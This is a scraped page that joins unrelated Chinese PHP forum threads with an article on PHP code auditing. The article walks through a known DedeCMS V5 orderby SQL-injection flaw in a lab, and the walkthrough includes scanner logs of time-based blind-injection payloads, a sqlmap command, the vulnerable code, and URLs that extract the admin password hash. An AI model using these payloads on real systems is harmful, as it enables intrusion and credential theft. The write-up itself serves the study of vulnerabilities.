如何用php实现动态规划解题思路搜索功能,希望大神指点一下思路。

[求助]如何发布自己做好的网站【php吧】_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:131,981贴子:
[求助]如何发布自己做好的网站收藏
自学php有一段时间了,现在有一个自己做好了的项目网站,但是不知道怎么上传的网上,百度了一下,没找到网站发布教程视频,大神来帮帮忙吧
php学习选达内,O基础入学,名师指导1-4个月从入门到精通,先就业后付款「需高中以上!南昌php培训,达内培训O基础变php高手!免费培训7天试学
你需要一个服务器或者ftp,然后是一个域名
到某个空间商购买云主机什么的,按照帮助文档配置设置好,把代码上传上去
顺便问一下,在父页面里用iframe引用子页面,但是子页面的高度会变化,应该怎么让父页面的容器高度随之变化呀
刚开始我也不清楚,等清楚后发现原来这么简单!
回复 Czing277 :首先去万网申请一个免费的虚拟主机大概可以免费2年不知道还有没有,申请完后会免费赠送一个2级域名,如果你想要顶级域名也可以在万网申请一个但是要备案,com后缀的好像要30多块一年,然后将你的域名解析到虚拟主机,然后再下载一个ftp上传文件软件,用该软件登陆到你的虚拟主机,登陆账号和密码万网有提供,然后再将你的网站文件通过ftp上传上去,就可以通过域名访问网页了!
谢谢,明白了
楼主自学多久了
域名虚拟主机
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或关于PHP代码审计和漏洞挖掘的一点思考 -
| 关注黑客与极客
关于PHP代码审计和漏洞挖掘的一点思考
共593689人围观
,发现 22 个不明物体
这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出。
PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂,今天我想主要谈谈关于PHP代码审计和漏洞挖掘的一些思路和理解。
PHP的漏洞发掘,其实就是web的渗透测试,和客户端的fuzzing测试一样,web的渗透测试也可以使用类似的技术,web fuzzing,即基于web的动态扫描。
这类软件国内外有很多,如WVS,Lan Guard,SSS等。这类扫描器的共同特点都是基于蜘蛛引擎对我们给出的URL地址进行遍历搜索,对得到的URL和参数进行记录,然后使用本地或者web端的script脚本攻击语句进行攻击测试。
/index.php?parm1=1&parm2=2&parm3=3.....&parmn=n
WVS使用本地的脚本攻击数据库对这些参数进行交叉替换和填充,构造出新的URL,然后用GET或者POST的方式向服务器发出请求,并对返回的结果进行正则判断。如是否出现:” You have an
error in your SQL syntax”等字样。如果出现,则记录下来,说明这个脚本页面”可能”存在漏洞。
WVS把攻击分成了很多模块:
1. Blind_SQL_Injection
2. AcuSensor
4. Directory_And_File_Check
5. File_Upload
6. GHDB(Google黑客数据库)
7. Sql_Injection
8. Weak_Password
每种攻击测试方式都对应着一类scripts,里面包含了攻击语句。
用WVS扫描完之后,如果能发现一些sql注入点的提示,这个时候可以先用sqlmap进行注入尝试,进一步判断注入点的情况。
如果这两步都不能成功,说明基于fuzz的动态扫描不能继续下去了,这个时候,我们应该想办法进行静态的代码审计,从源代码的角度分析和挖掘漏洞的成因和利用方式。这块可以使用RIPS这样的软件,RIPS是一款专门用来进行静态PHP代码审计的工具,能够帮助我们定位到可能存在漏洞的代码区域。
RIPS对代码进行静态漏洞扫描的基本思想有两条:
1.&&&&&& 对容易产生漏洞的函数进行跟踪(例如:mysql_query())
RIPS认为,所有的注入漏洞最终都要经过一些特定的数据库操作函数,mysql_query()或程序自定义的类函数,这些函数是产生漏洞的导火索,只要对这些函数的控制流和参数流进行回溯扫描,就可以发现大部分的代码漏洞。
2.&&&&&& 对产生注入漏洞的源头即用户传输过来的数据流进行跟踪($_GET,$_POST,$_COOKIE)
“用户输入的一切数据都有害”,大部分的注入漏洞,包括二次注入,究其原因都是因为对用户的输入数据没有做好过滤,RIPS对这些敏感数据进行跟踪,并判断其在进入敏感函数(mysql_query())之前有没有对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。
动态扫描加上静态定位,最终使我们能更容易的发现一些漏洞并及时使其得到修补。
接下来,我们来针对一个已知的漏洞进行一次分析。
DedeCms V5 orderby参数注射漏洞
SSV-ID:3824
SSV-AppDir:织梦
1.&&&&&& 动态扫描
架设好服务器和网站后,我们使用WVS对网站的根目录进行扫描,因为我们现在是黑盒测试,所以直接从网站根目录开始扫描。
等待一段时间后,扫描结果出来了,得到一些疑似SQL注入的URL。这里研究一下WVS的注入测试原理是什么,通过查看apache的access.log。我们发现了一下请求(无关部分已经删除)。
id=-1&page=1
id=-1 or 1*71=71&page=1
id=-1 or 71=0&page=1
id=-1' or 5=5 or '39'='39&page=1
id=-1' or '39'='0&page=1
id=IF(SUBSTR(@@version,1,1)&5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)&5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)&5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/&page=1
id=com_virtuemart' and sleep(2.09)='&page=1
id=com_virtuemart' and (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart'=sleep(2.09)='&page=1
id=com_virtuemart"=sleep(2.09)="&page=1
id=com_virtuemart'+(select 1 from (select sleep(2.09))A)+'&page=1
id=com_virtuemart and sleep(2.09) &page=1
id=com_virtuemart or (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart';select pg_sleep(2.09); -- &page=1
id=com_virtuemart'; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart"; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart&page=-1 or 1*22=22
id=com_virtuemart&page=-1 or 22=0
id=com_virtuemart&page=-1' or 5=5 or '56'='56
id=com_virtuemart&page=-1' or '56'='0
id=com_virtuemart&page=-1" or 5=5 or "39"="39
id=com_virtuemart&page=-1" or "39"="0
id=com_virtuemart&page=IF(SUBSTR(@@version,1,1)&5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)&5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)&5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/
id=com_virtuemart&page=1 and sleep(2)
id=com_virtuemart&page=1 or (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1' and sleep(2)='
id=com_virtuemart&page=1' and sleep(0)='
id=com_virtuemart&page=1' and (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1' or (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1" or (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1" or (sleep(0)+1) limit 1 --
id=com_virtuemart&page=1'=sleep(2)='
id=com_virtuemart&page=1"=sleep(2)="
id=com_virtuemart&page=1'+(select 1 from (select sleep(2))A)+'
id=com_virtuemart&page=1;select pg_sleep(2); --
id=com_virtuemart&page=1';select pg_sleep(2); --
id=com_virtuemart&page=1; waitfor delay '0:0:2' --
id=com_virtuemart&page=1'; waitfor delay '0:0:2' --
id=com_virtuemart&page=1"; waitfor delay '0:0:2' --
可以看到,WVS采用的是一种基于时间延迟的盲注入测试技术。
盲注入的利用关键是要找到一个二值逻辑的判断,即需要对不同的输入有不同的返回结果,我们才能借助推理得到一些信息,但是有时候,盲注入得到的结果并不会在UI上显示出来,这样就回导致我们注入失败,但是采用时间延迟的思想就可以很好的避免这个问题,从而能够对不同的程序具有很好的适应性。
1.&&&&&& 注入点探测
得到WVS的扫描结果后,我们需要对可能存在注入的URL进行注意排查,以确定是否真的存在注入漏洞。
我们选取:
这是dedecms的一个留言板的脚本页面:
使用sqlmap对疑似注入点进行探测:
python sqlmap.py -u "http://192.168.174.131/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=1" --current-db
扫描的结果没有成功,又手工尝试了union
selct和order by1,2,3..等注入方式,貌似不能获得盲注入的效果。
不成功的原因有很多,我自己根据经验总结了几点:
触发实际的sql注入漏洞之前要
1. 先获取cookie值(如果没有cookie值很多时候会被直接弹出到首页,没法进入到一些深层次的代码逻辑)
2. 获取formhash(防止CSRF的)
3. 对POST或GET或cookie中的某个字段进行某种编码(base64等)
4. 特殊字符(%cf宽字符)注入等
5. 结合POST或COOKIE的变量覆盖的sql注入
6. 盲注入sql语句构造的特殊性
这些先验条件有时候就会称为漏洞触发和利用的关键。
这个时候用自动化工具进行测试的工作基本做完了,我们接下来要使用RIPS来对源代码进行白盒分析,因为目标系统是开源的cms系统,我们可以很容易的从网上下载到全部源代码。
使用RIPS对cms的整站源代码进行扫描
RIPS扫描出了很多文件,有些是因为交叉引用,有些是真正存在漏洞的代码的。
/member/guestbook_admin.php
来分析以下代码漏洞
//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);
$dsql-&Close();
//获得特定的关键字列表
//---------------------------------
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_
$jobs = array();
$start = ($pageno-1) * $
$dsql-&SetQuery("Select * From #@__jobs where memberID='".$cfg_ml-&M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql-&Execute();
while($row = $dsql-&GetArray()){
$row['endtime'] = @ceil(($row['endtime']-$row['pubdate'])/86400);
if($row['salaries'] == 0){
$row['salaries'] = '薪酬面议';
$jobs[] = $
foreach($jobs as $job)
//模板文件
include(dirname(__FILE__)."/templets/job.htm");
可以看到,代码在编写的时候,并没有对orderby这个参数进行过滤。导致了注入和畸形数据报错,接下来,我们的任务就是要利用这个漏洞进行有效的注入,获得数据。
我们手工构造一个SQL注入:
http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid+and+if(ASCII(SUBSTRING((SELECT+pwd+FROM+dede_admin+where+id=1),0,1))=63,1,(SELECT+pwd+FROM+dede_member))
对应的sql语句:
Select * From dede_member_guestbook where mid='1' order by mid and if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member));
这样不能成功,因为sql语句的语法是这样的:
SELECT select_list
  [ INTO new_table ]
  FROM table_source
  [ WHERE search_condition ]
  [ GROUP BY group_by_expression ]
  [ HAVING search_condition ]
[ ORDER BY order_expression [ ASC | DESC ] ]
而我们在能控制的参数是order by参数,在where后面,我发现这个时候不管and逻辑的true or false都不影响sql的查询结果。
转换一下思路:
http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid,if(ASCII(SUBSTRING((select+pwd+from+dede_admin+where+id=1),1,1))=54,1,(select+pwd+from+dede_member))+asc--
对应的sql语句:
Select * From dede_member_guestbook where mid='1' order by mid,if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member))
这个语句貌似可以利用,因为在标准的sql语法中。在order by后面再加and是没有用的。但是这里用了逗,也就是if后面的语句也属于order by的一部分了。再在最后加上一个asc,盲注入就成功了。
在+asc后面加上–注释号,来屏蔽掉后面的desc limit
0,5,整个语句就能跑通了。根据返回的结果的不一致,利用正则判断一下,就可以利用盲注入进行帐号和密码的猜测。从而获得后台权限。然后dede的密码存放机制是产生32位的MD5后,截断前24位,所以得到的hash只有24位,没法用直接破解。698d51a19d8a121ce581499d,去掉前8位9d8a121ce581499d转换成16位MD5,再用来解密,成功。
Web渗透和代码审计的第一步是对网站的fuzz测试,这可以从整体上对网站的漏洞情况进行扫描,缩小范围。
对漏洞的具体挖掘和利用还是要使用白盒分析,即源代码分析,这样才能更有效的针对不同的代码情况指定出漏洞利用方案。
介绍一些web fuzzing的工具:
Browser Fuzzer 3 (bf3) – Comprehensive Web Browser Fuzzing Tool
MantraPortable
--- OWASP的一款渗透测试套件
Webshag v1.00 – Web Server Auditing Tool (Scanner and File Fuzzer)
Wfuzz – A Tool for Bruteforcing/Fuzzing Web Applications
刚开始接触代码审计这块,懂得不是很多,就说了一些平时玩的过程中的理解和观点,希望大神路过能多多指导指导,我会继续学习这方面的知识。
RIPS因为是基于静态规则匹配,难免会产生较多误报,目前针对白盒审计的方法有自动化产品但都比较贵,开源的又不是那么适合每个场景,最好的办法不是依赖工具而是把工具作为辅助,针对工具产生的结果,有针对性的code review。@sebug,seay的代码审计工具,也是基于正则静态规则匹配,而且误报率也比较高。
@flowind 你说还不是关键 漏洞的发现除了人的坚持分析以外还有源于技术上的发现比如mail来执行系统命令 bypass open_base()我们不用特别去针对某一个程序到底有什么漏洞 只要关注与代码片段 与底层流程基于一点发展的世界 然后把一切的研究继承到软件里丰富规则最后你就会发现想要找一套程序漏洞是多么简单 其他的只不过是不断机器的按某种模式和人的灵活性发现隐藏的漏洞假如我们能完全独立出来一套完善的系统您想会变得怎样
必须您当前尚未登录。
必须(保密)
阿里巴巴安全工程师
关注我们 分享每日精选文章本人写一个框架,求大神指导 - PHP当前位置:& &&&本人写一个框架,求大神指导本人写一个框架,求大神指导&&网友分享于:&&浏览:0次本人写一个框架,求大神指点1.实现智能化目录加载,无需定义目录
2.实现强大的定时文件缓存机制
3.自带了小型模版引擎机制
4.结合了CakePHP+ThinkPHP的写法
5.实现自动跨环境与跨平台的兼容,无需在修改配置
下載地址与演示地址:
虽然写代码没有开源代码那么整洁和那么清晰思路...但跟开源框架的设计模式才不多。。。但需要大神帮忙检测一下有没有问题和BUG&&&谢谢------解决思路----------------------他说的是新框架学习成本太高,大家都懂TP的话没必要花时间学习你的框架,直接用TP就行了。
当然鼓励自己研发新框架,就当练手也好。说不定哪天大家都用你的框架开发了,哈哈。------解决思路----------------------框架的其中一个作用就是代码的规范性。
同一个团队的开发人员,使用同一框架开发的代码,会比较容易交流修改。
如果自己开发一套。对自己了解php和编程时有提高的。但到实际开发中,还是会使用团队合适的框架。------解决思路----------------------如果你不能使用你的框架写一个动态生成的说明页,那么怎么证明你的框架是有效的呢?
既然不能证明框架是有效的,那么去看语法说明的意义何在?
动态生成的说明页,既说明了语法,又展示了用法。何乐而不为呢------解决思路----------------------自己造一个轮子,反复拆装,终于了解了轮子。------解决思路----------------------有时间和精力可以多做一些尝试,甚至多写一些C扩展出来练习一下,鼓励支持
框架还没看...有时间学习一下
12345678910
12345678910
12345678910 上一篇:下一篇:文章评论相关解决方案 1234567891011 Copyright & &&版权所有

我要回帖

更多关于 希望领导指点怎么说 的文章

 

随机推荐